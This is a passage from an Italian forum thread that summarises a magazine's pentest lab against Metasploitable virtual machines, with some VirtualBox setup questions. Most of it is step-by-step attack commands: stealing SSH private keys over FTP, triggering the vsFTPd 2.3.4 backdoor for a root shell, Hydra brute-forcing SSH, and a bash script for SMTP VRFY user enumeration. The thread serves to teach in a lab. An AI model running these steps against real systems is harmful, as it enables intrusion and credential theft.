Connect with us




Riepilogo laborator...
 
Notifiche
Cancella tutti

Riepilogo laboratorio di pentest.

66 Post
11 Utenti
5 Likes
212.3 K Visualizzazioni
occhiolino
(@occhiolino)
New Member
Registrato: 5 anni fa
Post: 3
 

Ciao. Figurati, avevo capito. Comunque ho omesso di dire che il Router l'ho configurato con 3 schede di rete (cosi come da guida su questo forum e non come riporta la rivista) dando alla prima scheda di rete queste impostazioni:

Scheda solo host

VirtualBox Host-Only Ethernet Adapter #2

Sono al punto di partenza. Ma come mai sulla rivista questa configurazione manca? E per quanto riguarda gli indirizzi ip assegnati alle macchine vanno bene?


   
RispondiCitazione
Whistler
(@whistler)
Trusted Member
Registrato: 6 anni fa
Post: 63
Topic starter  

Questa configurazione viene fatta nei numeri successivi usciti tra marzo e aprile ovvero quando ho iniziato a scrivere questo riepilogo e ho pensato di partire da quella dato che altrimenti poi bisogna riconfigurare tutto una seconda volta se si segue l'ordine esatto delle riviste.


   
RispondiCitazione
Whistler
(@whistler)
Trusted Member
Registrato: 6 anni fa
Post: 63
Topic starter  

Quanto agli IP si sono corretti e anche i comandi, per questo temo che il problema stia nelle impostazioni di Virtualbox.

l'impostazione "VirtualBox Host-Only Ethernet Adapter #2" io non ce l'ho, per caso è un'opzione di "Tipo di scheda"?

Nel caso in questa voce io ho l'opzione "PCnet-FAST III (Am79C973)"

 


   
RispondiCitazione
Dioil92
(@dioil92)
Active Member
Registrato: 6 anni fa
Post: 9
 

Ciao, anch'io ho lo stesso identico problema, non riesco ad accedere da browser all'IP 192.168.0.75, ho configurato tutto come da rivista, allego degli screen( link mega ), non so più che fare. Grazie per l'aiuto.  https://mega.nz/#F!lR9RmArQ!nRDfSYMU4TmdiLP3a1x3jw


   
RispondiCitazione
Whistler
(@whistler)
Trusted Member
Registrato: 6 anni fa
Post: 63
Topic starter  

Ciao ho provato ad aprire il tuo link ma non ho trovato nessuna foto, hai ancora lo stesso problema?

Ti consiglio di ricontrollare bene i passaggi, in quella sezione della guida anch'io ho avuto problemi e ho risolto solo ricominciando da capo la configurazione.

Fammi sapere.


   
RispondiCitazione
Whistler
(@whistler)
Trusted Member
Registrato: 6 anni fa
Post: 63
Topic starter  

11.0 ATTACCO AL SERVER FTP.

Salve a tutti e ben ritrovati, mi scuso per la mia lunga assenza ma vedo subito di rimediare con tutti i riepiloghi mancanti (ovviamente quello di questo mese non ci sarà fino al mese prossimo).

In questa guida la rivista ci insegna ad interagire con il servizio FTP della macchina virtuale "Server Web" e ad ottenere da qui un accesso con privilegi di root sfruttando una falla molto grave presente in metasploitable.

11.1 I PRIMI PASSI CON TELNET.

Cominciamo connettendoci al server FTP in esecuzione sulla porta 21 della VM.

#telnet webserver.labpentest.hj 21

Dopo la visualizzazione del banner ci autentichiamo usando i comandi "user" (nome utente) e "pass" (password) con le credenziali ottenute grazie a Hydra nei passi precedenti.
Pertanto..

user user

(..e poi)

pass user

Ricevuto il messaggio di avvenuto log in, diamo il comando "pasv" al fine di aprire un canale dati ftp.
Tale comando ci restituisce il seguente messaggio di conferma: 227 Entering Passive Mode (212,100,1,2,37,220).

I primi 4 numeri sono quelli dell'IP della macchina mentre gli ultimi 2 rappresentano quelli della porta alla quale collegarsi (il 37 è il byte più significativo mentre il 220 è il meno significativo) dai quali otteniamo il numero di porta con un semplice calcolo: 37 * 256 + 220 = 9692.

Apriamo una nuova shell e lanciamo il comando:

#nc 212.100.1.2 9692

Da questa shell abbiamo stabilito la connessione dati e pertanto da qui vedremo l'output dei comandi inviati alla prima shell con telnet, dalla quale viene lanciato il comando "list -la".

 


   
RispondiCitazione
Whistler
(@whistler)
Trusted Member
Registrato: 6 anni fa
Post: 63
Topic starter  

11.2 UNA BRECCIA TIRA L'ALTRA.

In seguito al comando precedente abbiamo ottenuto una lista completa dei file dell'utente user sulla VM "Web Server" e tra questi, due spiccano per importanza: .bash_history e .ssh.

Nella shell dei comandi (dove abbiamo lanciato telnet per capirci) lanciamo i seguenti comandi:

pasv
(da qui otteniamo il numero di porta necessario per aprire una nuova connessione dati con nc)

retr .bash_history FTP
(comando che consente di effettuare il download del file selezionato).

11.3 LE CHIAVI SSH.

Analizzando il file .bash_history possiamo vedere la cronologia dei comandi dell'utente user da cui scopriamo che sono state create due chiavi crittografiche ssh (una pubblica e una privata) e che tali chiavi sono state copiate nella home directory di un utente che non avevamo ancora scoperto sul sistema: l'utente msfadmin.
Senza perdere tempo, sulla shell di telnet lanciamo i seguenti comandi per rubare (ehm volevo dire scaricare) le chiavi citate prima.

cwd .ssh
(per spostarci nella stessa directory delle chiavi)

pasv
(seguito da una seconda shell da cui lanciare nc per la connessione dati come abbiamo fatto prima)

retr id_dsa
(per avviare il download della chiave privata)

ripetiamo i passaggi precedenti cambiando solo id_dsa con id_dsa.pub e avremo ottenuto entrambe le chiavi.

11.4 vsFTPd 2.3.4 HA UN SEGRETO.

Grazie a nmap abbiamo scoperto che il server FTP in esecuzione sul Web Server è vsFTPd 2.3.4 e facendo qualche rapida ricerca è possibile scoprire come questa versione del sever è caratterizzata da una vulnerabilità catastrofica: una backdoor.
Non si sa chi l'ha messa nel pacchetto ufficiale e stando ai risultati della ricerca per usarla è sufficiente fare un login con uno smile ":)" sulla stringa dell'username e con una password arbitraria, per poi aprire una connessione dati con nc sulla porta 6200.

#telnet webserver.labpentest.hj 21

user prova:)
pass prova

e su una seconda shell..

#nc 212.100.1.2 6200

dopodichè lanciamo il comando whoami che ci rivelerà di essere l'utente root sulla macchina virtuale "Web Server".


   
RispondiCitazione
Whistler
(@whistler)
Trusted Member
Registrato: 6 anni fa
Post: 63
Topic starter  

12.0 ATTACCO A SSH.

Dopo aver effettuato un'analisi delle vulnerabilità del servizio FTP del sever web possiamo passare a muoverci verso ssh, un servizio importantissimo per la gestione in remoto tramite connessione cifrata.

12.1 IL PRIMO LOGIN.

Cominciamo subito loggandoci con le credenziali dell'utente "user".

#ssh [email protected] 22

esserci loggati è già un buon risultato ma ci sono test da fare per ottenere maggiori informazioni su questo utente.

#groups

#sudo -v

il primo comando serve a sapere a quale gruppo di utenti appartiene l'utente e riceviamo come output il nome utente il che probabilmente indica che l'utente non è privilegiato, mentre il secondo comando ci confermerà questo timore.

Se da bravi pentester ripetiamo il procedimento anche per gli altri utenti di cui possediamo le credenziali purtroppo avremo i medesimi risultati.

12.2 L'UTENTE MSFADMIN.

Grazie alle indagini precedenti abbiamo scoperto l'esistenza dell'utente molto promettente msfadmin del quale però non sappiamo ancora la password.. si non ancora..

#hydra -t 3 -l msfadmin -e nsr webserver.labpentest.hj ssh

così facendo abbiamo testato se anche questo utente avesse una password banale sul servizio ssh e infatti la password coincide con il nome utente.

Lanciamo il comando..

#ssh [email protected] 22

e una volta loggati..

#sudo su

e anche stavolta avremo ottenuto un accesso da root!


   
RispondiCitazione
Whistler
(@whistler)
Trusted Member
Registrato: 6 anni fa
Post: 63
Topic starter  

12.3 IL SERVIZIO TELNET (NON IL COMANDO).

Dopo aver ottenuto i privilegi di root sul servizio ssh ci concentriamo brevemente sul servizio telnet presente sulla porta TCP 23 con l'omonimo comando.

#telnet webserver.labpentest.hj

L'output è a dir poco sconcertante in quanto ci appare un banner con le credenziali per accedere con l'utente amministratore msfadmin e otteniamo un altro accesso da root sul sistema bersaglio.
Ciò è ovviamente dovuto al fatto che la distro metaspoitable è usata come sacco da box virtuale per imparare ad usare i tool di cybersecurity e gli sviluppatori hanno messo anche qui un banner che raccomanda di non esporla a internet o a reti non controllate da noi direttamente.

12.4 IL SERVIZIO SMTP.

Un altro servizio da analizzare è sicuramente il servizio SMTP, pensato per lo scambio di mail in una logica client-server, al quale ci interfacciamo con i seguenti comandi:

#telnet webserver.labpentest.hj 25

ricevuto il messaggio di avvenuta connessione inviamo i comandi

HELO hj
(necessario alla nostra autenticazione che tuttavia è arbitraria)
VRFY user
(comando con il quale chiediamo se è presente l'utente "user", e riceveremo un messaggio di conferma)
VRFY HackerJournal
(comando per analizzare la risposta del server in caso un utente richiesto non sia presente)

In conclusione abbiamo scoperto come interrogare il servizio SMTP per ottenere informazioni riguardo la presenza o meno di un utente sul sistema bersaglio.
Ora dobbiamo solo trovare il modo di automatizzare il processo e ricavarne una lista tutti gli utenti presenti.


   
RispondiCitazione
Whistler
(@whistler)
Trusted Member
Registrato: 6 anni fa
Post: 63
Topic starter  

13.0 COSTRUIRE UN TOOL PER ESTRAPOLARE GLI UTENTI DAL SERVIZIO SMTP.

Abbiamo compreso i comandi base per interrogare il servizio SMTP della macchina vittima, in particolare come interrogarlo riguardo la presenza o meno di un utente tramite il comando VRFY, ora passiamo a come automatizzare il processo per verificare la presenza di utenti usando uno dei dizionari disponibili in Kali Linux.

13.1 MODIFICA DEL DIZIONARIO CON "SED".

Cominciamo dal dizionario facendone una copia che possiamo modificare tranquillamente e tramite il comando sed mettiamo all'inizio di ogni riga la stringa "VRFY".

#cp /usr/share/wordlist/metasploit/unix_users.txt ./
#sed -e 's/^/VRFY /' -i unix_users.txt

Se useremo questo file per interagire con il server SMTP dobbiamo aggiungere all'inizio la stringa "HELO hj" quindi creiamo un nuovo file con essa e lo uniamo a unix_users.txt.

#echo "HELO HJ > input.txt"
#cat unix_users.txt >> input.txt

Infine passiamo il file input.txt in input alla connessione che apriremo con nc e mandiamo l'output in un file testuale.

#nc webserver.labpentest.hj 25 < input.txt > output.txt

Tuttavia la questione non è così semplice..
Lanciamo i comandi:

#wc -l input.txt
#wc -l output.txt

Confrontando i file input.txt e output.txt c'è una differenza di molte righe e controllando l'ultima riga del file di output noteremo un messaggio di errore che ferma le richieste di verifica utente al ventesimo errore.
Pertanto sarà necessario dividere il file di input in più parti e creare uno script in bash.


   
RispondiCitazione
Whistler
(@whistler)
Trusted Member
Registrato: 6 anni fa
Post: 63
Topic starter  

13.3 MANIPOLIAMO IL FILE DI TESTO E CREIAMO IL NOTRO TOOL.

Attraverso i comandi

#split input.txt -l 19 -d -a 1 enum_list
#sed -i 'HELO HJ' enum_list*

divideremo in 6 parti il file input.txt e aggiungeremo ad ognuna la stringa di autenticazione.
Lanciamo anche i comandi

#mkdir hj_enum_tool
#mv enum_list* hj_enum_tool
#cd hj_enum_tool

così da tenere tutto in una directory dedicata al nostro script e apriamo un editor a piacere per scriverlo e intitolarlo hj_tool.sh.

Ecco lo script completo:

#!/bin/bash
for i in `seq 0 5`;
do
cmd="echo 'QUIT' >> enum_list$i"
eval $cmd
cmd="nc 212.100.1.2 25 < enum_list$i >> enum_result.txt"
echo "eseguo $cmd..."
eval $cmd
done
grep '252' enum_result.txt | awk '{print $NF}' > users_list.txt

13.4 LANCIAMO IL TOOL!

Digitiamo..

#./hj_tool.sh

e ammiriamo il nostro script all'opera che ci restituisce una lista di ben 28 utenti.


   
RispondiCitazione
DrFreud94
(@drfreud94)
New Member
Registrato: 5 anni fa
Post: 4
 

Buonasera!!! Innanzitutto, siete grandiosi: mi sono abbonato alla vostra rivista e devo dire che fate veramente un lavoro eccelso, complimenti. Detto ciò, vorrei chiedere un'informazione: posso usare due pc distinti per creare il mio laboratorio?? Grazie e buon lavoro a tutti!!!!


   
RispondiCitazione
DrFreud94
(@drfreud94)
New Member
Registrato: 5 anni fa
Post: 4
 

Ok come non detto. Sto seguendo la guida, e non si può giustamente


   
RispondiCitazione
Whistler
(@whistler)
Trusted Member
Registrato: 6 anni fa
Post: 63
Topic starter  

Spero che questi riepiloghi ti siano stati di aiuto 😉

L'idea di usare pc diversi non è impossibile ma continuo a credere che quando si impara l'uso di strumenti di cybersecurity sia meglio operare in un solo ambiente virtuale (e quindi non viene creato un vero traffico dati in una rete vera, necessaria se usi due o più computer distinti, in più le macchine virtuali sono più facili da gestire a mio avviso).

Comunque pensare in modo diverso dai manuali e/o dalle guide è di per se una bella cosa 😉

happy hacking!


   
RispondiCitazione
Whistler
(@whistler)
Trusted Member
Registrato: 6 anni fa
Post: 63
Topic starter  

14.0 IL PROTOCOLLO IRC.

Salve a tutti e ben trovati, in questa guida la rivista ci insegnerà a violare il servizio IRC in esecuzione sulla macchina target.
Questo protocollo tcp viene usato per consentire lo scambio di messaggi testuali tra due o più utenti.

14.1 UNREALIRCD.

Grazie al comando nmap possiamo vedere come il servizio IRC sia attivo sulla macchina virtuale "Web Server":

#nmap -sS -sV www.labpentest.hj -p 6667
                                         ^
                                          |
          (oppure) 212.100.1.2

che tuttavia darà un output un po' tirchio di informazioni e allora indaghiamo più a fondo con netcat:

#nc www.labpentest.hj -p 6667
                                               ^
[occhio che sulla rivista ho trovato una piccola svista e nell'indirizzo al posto di ".hj" trovate ".it"
ma tanto se state usando coscenziosamente il laboratorio sono sicuro che ve ne sarete accorti e il comando andrà
a buon fine 😉 ve la evidenzio (questa come tutte quelle che posso trovare) al puro fine di non aver problemi nel caso non l'aveste notata e ribadisco la mia ammirazione per l'intero team di Hackerjournal che ha così tanto da insegnarci e lo fa da anni, francamente mi sento indegno anche solo di far notare queste cose che capitano a chiunque, specie al sottoscritto]

Dopo il lancio di nc aspettiamo che il server ci risponda e riceviamo due messaggi in cui il servizio ci informa che sta cercando di risolvere il nostro hostname ("looking up your hostname") e dopo non esserci riuscito che userà il nostro ip ("Couldn't resolve your hostname; using your IP istead.").
Infine UnrealIRCd resta in attesa di input dell'utente, chiarendo perché nmap non forniva informazioni sulla versione del servizio ovvero perché nmap usa una tecnica chiamata banner grabbing, ovvero "legge" i banner che vari servizi di rete mandano in output dopo aver stabilito la connessione, per poi risciverli nel suo output.

Questo post è stato modificato 5 anni fa 2 volte da Whistler

   
RispondiCitazione
Pagina 4 / 5
Condividi: